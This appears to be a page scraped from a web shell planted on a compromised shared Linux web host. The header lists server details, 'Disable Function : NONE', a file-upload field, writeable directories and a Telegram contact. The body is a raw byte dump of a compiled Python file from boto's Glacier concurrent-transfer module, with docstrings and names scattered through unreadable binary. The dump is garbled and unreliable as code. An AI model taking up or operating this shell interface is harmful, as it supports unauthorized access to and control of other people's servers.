https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/glacier/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/glacier/__pycache__/concurrent.cpython-310.pyc
o

ckF[YC�@s�ddlZddlZddlZddlZddlZddlZddlmZddlZddl	m
Z
mZmZm
Z
mZddlmZmZmZe�Ze�d�ZGdd�de�ZGdd	�d	e�ZGd
d�dej�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZdS)�N)�Queue)�DEFAULT_PART_SIZE�minimum_part_size�chunk_hashes�	tree_hash�bytes_to_hex)�UploadArchiveError�DownloadArchiveError�TreeHashDoesNotMatchErrorzboto.glacier.concurrentc@s2eZdZedfdd�Zdd�Zdd�Zdd	�Zd
S)�ConcurrentTransferer�
cCs||_||_g|_dS�N)�
_part_size�_num_threads�_threads)�self�	part_size�num_threads�r�9/usr/lib/python3/dist-packages/boto/glacier/concurrent.py�__init__+s
zConcurrentTransferer.__init__cCsLt|�}|j|kr
|j}n
|}t�d|j|�tt�|t|���}||fS)NzfThe part size specified (%s) is smaller than the minimum required part size.  Using a part size of: %s)rr�log�debug�int�math�ceil�float)r�
total_size�min_part_size_requiredr�total_partsrrr�_calculate_required_part_size0s
�z2ConcurrentTransferer._calculate_required_part_sizecCs>t�d�|jD]}d|_q|jD]}|��qt�d�dS)NzShutting down threads.FzThreads have exited.)rrr�should_continue�join)r�threadrrr�_shutdown_threads<s



z&ConcurrentTransferer._shutdown_threadscCsDt�d�t|�D]	}|�||f�q	t|j�D]}|�t�qdS)NzAdding work items to queue.)rr�range�putr�
_END_SENTINEL)rr�worker_queuer�irrr�_add_work_items_to_queueDs
�z-ConcurrentTransferer._add_work_items_to_queueN)�__name__�
__module__�__qualname__rrr r$r*rrrrr*s
rcs@eZdZdZedf�fdd�	Zddd�Zdd	�Zd
d�Z�Z	S)
�ConcurrentUploaderaConcurrently upload an archive to glacier.

    This class uses a thread pool to concurrently upload an archive
    to glacier using the multipart upload API.

    The threadpool is completely managed by this class and is
    transparent to the users of this class.

    rcs"tt|��||�||_||_dS)au
        :type api: :class:`boto.glacier.layer1.Layer1`
        :param api: A layer1 glacier object.

        :type vault_name: str
        :param vault_name: The name of the vault.

        :type part_size: int
        :param part_size: The size, in bytes, of the chunks to use when uploading
            the archive parts.  The part size must be a megabyte multiplied by
            a power of two.

        :type num_threads: int
        :param num_threads: The number of threads to spawn for the thread pool.
            The number of threads will control how much parts are being
            concurrently uploaded.

        N)�superr.r�_api�_vault_name)r�api�
vault_namerr��	__class__rrrVs
zConcurrentUploader.__init__Nc
Cs�t�|�j}|�|�\}}dg|}t�}t�}|j�|j||�}	|	d}
|�|||�|�	||
||�z	|�
|||�WntyX}zt�
d�|j�|j|
�|�d}~wwt�
d�|j�|j|
tt|��|�}	t�
d�|	dS)a^Concurrently create an archive.

        The part_size value specified when the class was constructed
        will be used *unless* it is smaller than the minimum required
        part size needed for the size of the given file.  In that case,
        the part size used will be the minimum part size required
        to properly upload the given file.

        :type file: str
        :param file: The filename to upload

        :type description: str
        :param description: The description of the archive.

        :rtype: str
        :return: The archive id of the newly created archive.

        N�UploadIdzHAn error occurred while uploading an archive, aborting multipart upload.zCompleting upload.zUpload finished.�	ArchiveId)�os�stat�st_sizer rr0�initiate_multipart_uploadr1r*�_start_upload_threads�_wait_for_upload_threadsrrr�abort_multipart_upload�complete_multipart_uploadrr)r�filename�descriptionrrr�hash_chunksr(�result_queue�response�	upload_id�errr�uploadns>

���
��
�
zConcurrentUploader.uploadcCs\t|�D]#}|��}t|t�rt�d|�|��td|��|\}}|||<q|��dS)N�?An error was found in the result queue, terminating threads: %s�0An error occurred while uploading an archive: %s)r%�get�
isinstance�	Exceptionrrr$r)rrBrCr�_�result�part_number�tree_sha256rrrr=�s
��
z+ConcurrentUploader._wait_for_upload_threadscCsRt�d�t|j�D]}t|j|j||||�}t�d�|�	�|j
�|�q
dS�NzStarting threads.g�������?)rrr%r�UploadWorkerThreadr0r1�time�sleep�startr�append)rrCrEr(r@rMr#rrrr<�s
�
�z(ConcurrentUploader._start_upload_threadsr
)
r+r,r-�__doc__rrrGr=r<�
__classcell__rrr4rr.Ls	�
2r.cs4eZdZ�fdd�Zdd�Zdd�Zdd�Z�ZS)	�TransferThreadcs$tt|���||_||_d|_dS)NT)r/rYr�
_worker_queue�
_result_queuer!)rr(rCr4rrr�s
zTransferThread.__init__cCsh|jr.z	|jjdd�}Wn	tyYqw|tur |��dS|�|�}|j�|�|js|��dS)N�)�timeout)	r!rZrJ�Emptyr'�_cleanup�_process_chunkr[r&)r�workrNrrr�run�s�
�
zTransferThread.runcC�dSr
r)rrarrrr`��zTransferThread._process_chunkcCrcr
r�rrrrr_�rdzTransferThread._cleanup)r+r,r-rrbr`r_rXrrr4rrY�s

rYcs<eZdZddef�fdd�	Zdd�Zdd�Zdd	�Z�ZS)
rR�c

sLtt|��||�||_||_||_t|d�|_||_||_	||_
|	|_dS)N�rb)r/rRrr0r1�	_filename�open�_fileobj�
_upload_id�_num_retries�_time_between_retries�_retry_exceptions)
rr2r3r@rEr(rC�num_retries�time_between_retries�retry_exceptionsr4rrr�s
zUploadWorkerThread.__init__cCs�d}t|jd�D]<}z	|�|�}W|S|jyE}z$t�d|d|j|d|jd|j|j|�t	�
|j�|}WYd}~q	d}~ww|S)Nr\zpException caught uploading part number %s for vault %s, attempt: (%s / %s), filename: %s, exception: %s, msg: %sr)r%rl�
_upload_chunkrnr�errorr1rhr5rSrTrm)rrarNr)rFrrrr`�s 
	�
���z!UploadWorkerThread._process_chunkc
Cs�|\}}||}|j�|�|j�|�}t�|���}tt|��}||t|�df}t	�
d||�|j�|j
|j|t|�||�}	|	��||fS)Nr\zUploading chunk %s of size %s)rj�seek�read�hashlib�sha256�	hexdigestrr�lenrrr0�upload_partr1rkr)
rrarOr�
start_byte�contents�linear_hash�tree_hash_bytes�
byte_rangerDrrrrr�s�z UploadWorkerThread._upload_chunkcCs|j��dSr
)rj�closererrrr_szUploadWorkerThread._cleanup)	r+r,r-rLrr`rrr_rXrrr4rrR�s�rRcs>eZdZdZedf�fdd�	Zdd�Zdd�Zd	d
�Z�Z	S)�ConcurrentDownloaderz�
    Concurrently download an archive from glacier.

    This class uses a thread pool to concurrently download an archive
    from glacier.

    The threadpool is completely managed by this class and is
    transparent to the users of this class.

    rcstt|��||�||_dS)a
        :param job: A layer2 job object for archive retrieval object.

        :param part_size: The size, in bytes, of the chunks to use when uploading
            the archive parts.  The part size must be a megabyte multiplied by
            a power of two.

        N)r/r�r�_job)r�jobrrr4rrrs

zConcurrentDownloader.__init__c
Cs�|jj}|�|�\}}t�}t�}|�|||�|�||�z	|�|||�Wnty;}zt�	d|�|�d}~wwt�	d�dS)z�
        Concurrently download an archive.

        :param filename: The filename to download the archive to
        :type filename: str

        z2An error occurred while downloading an archive: %sNzDownload completed.)
r��archive_sizer rr*�_start_download_threads�_wait_for_download_threadsr	rr)rr@rrrr(rCrFrrr�download$s��zConcurrentDownloader.downloadcCs�dg|}t|d��D}t|�D]7}|��}t|t�r*t�d|�|��td|��|\}}	}
}|
||<||	}|�	|�|�
|�|��qWd�n1sQwYtt
|��}
t�d|jj|
�|jj|
kry|��td|jj|
f��|��dS)a
        Waits until the result_queue is filled with all the downloaded parts
        This indicates that all part downloads have completed

        Saves downloaded parts into filename

        :param filename:
        :param result_queue:
        :param total_parts:
        N�wbrHrIz?Verifying final tree hash of archive, expecting: %s, actual: %szBTree hash for entire archive does not match, expected: %s, got: %s)rir%rJrKrLrrr$r	rt�write�flushrrr��sha256_treehashr
)rr@rCrrB�frMrNrOr�actual_hash�datar{�
final_hashrrrr�9sH

���


������z/ConcurrentDownloader._wait_for_download_threadscCsJt�d�t|j�D]}t|j||�}t�d�|��|j	�
|�q
dSrQ)rrr%r�DownloadWorkerThreadr�rSrTrUrrV)rrCr(rMr#rrrr�`s

�z,ConcurrentDownloader._start_download_threads)
r+r,r-rWrrr�r�r�rXrrr4rr�s
�
'r�cs4eZdZddef�fdd�	Zdd�Zdd�Z�ZS)r�rfcs.tt|��||�||_||_||_||_dS)a
        Individual download thread that will download parts of the file from Glacier. Parts
        to download stored in work queue.

        Parts download to a temp dir with each part a separate file

        :param job: Glacier job object
        :param work_queue: A queue of tuples which include the part_number and
            part_size
        :param result_queue: A priority queue of tuples which include the
            part_number and the path to the temp file that holds that
            part's data.

        N)r/r�rr�rlrmrn)rr�r(rCrorprqr4rrrjs

zDownloadWorkerThread.__init__cCstd}t|j�D]0}z	|�|�}W|S|jy7}zt�d|d|j�t�|j	�|}WYd}~qd}~ww|S)z�
        Attempt to download a part of the archive from Glacier
        Store the result in the result_queue

        :param work:
        Nz6Exception caught downloading part number %s for job %sr)
r%rl�_download_chunkrnrrsr�rSrTrm)rrarNrMrFrrrr`�s
�
���z#DownloadWorkerThread._process_chunkc	Cs�|\}}||}|||df}t�d||�|j�|�}|��}ttt|���}|d|kr:td||d|f��||t	�
|�|fS)z�
        Downloads a chunk of archive from Glacier. Saves the data to a temp file
        Returns the part number and temp file location

        :param work:
        r\zDownloading chunk %s of size %s�TreeHashzBTree hash for part number %s does not match, expected: %s, got: %s)rrr��
get_outputrurrrr
�binascii�	unhexlify)	rrarOrr{rrDr�r�rrrr��s ���z$DownloadWorkerThread._download_chunk)r+r,r-rLrr`r�rXrrr4rr�is�r�)r8r�	threadingrvrS�logging�boto.compatrr��boto.glacier.utilsrrrrr�boto.glacier.exceptionsrr	r
�objectr'�	getLoggerrrr.�ThreadrYrRr�r�rrrr�<module>s$
"o4]

https://t.me/RX1948 - 2025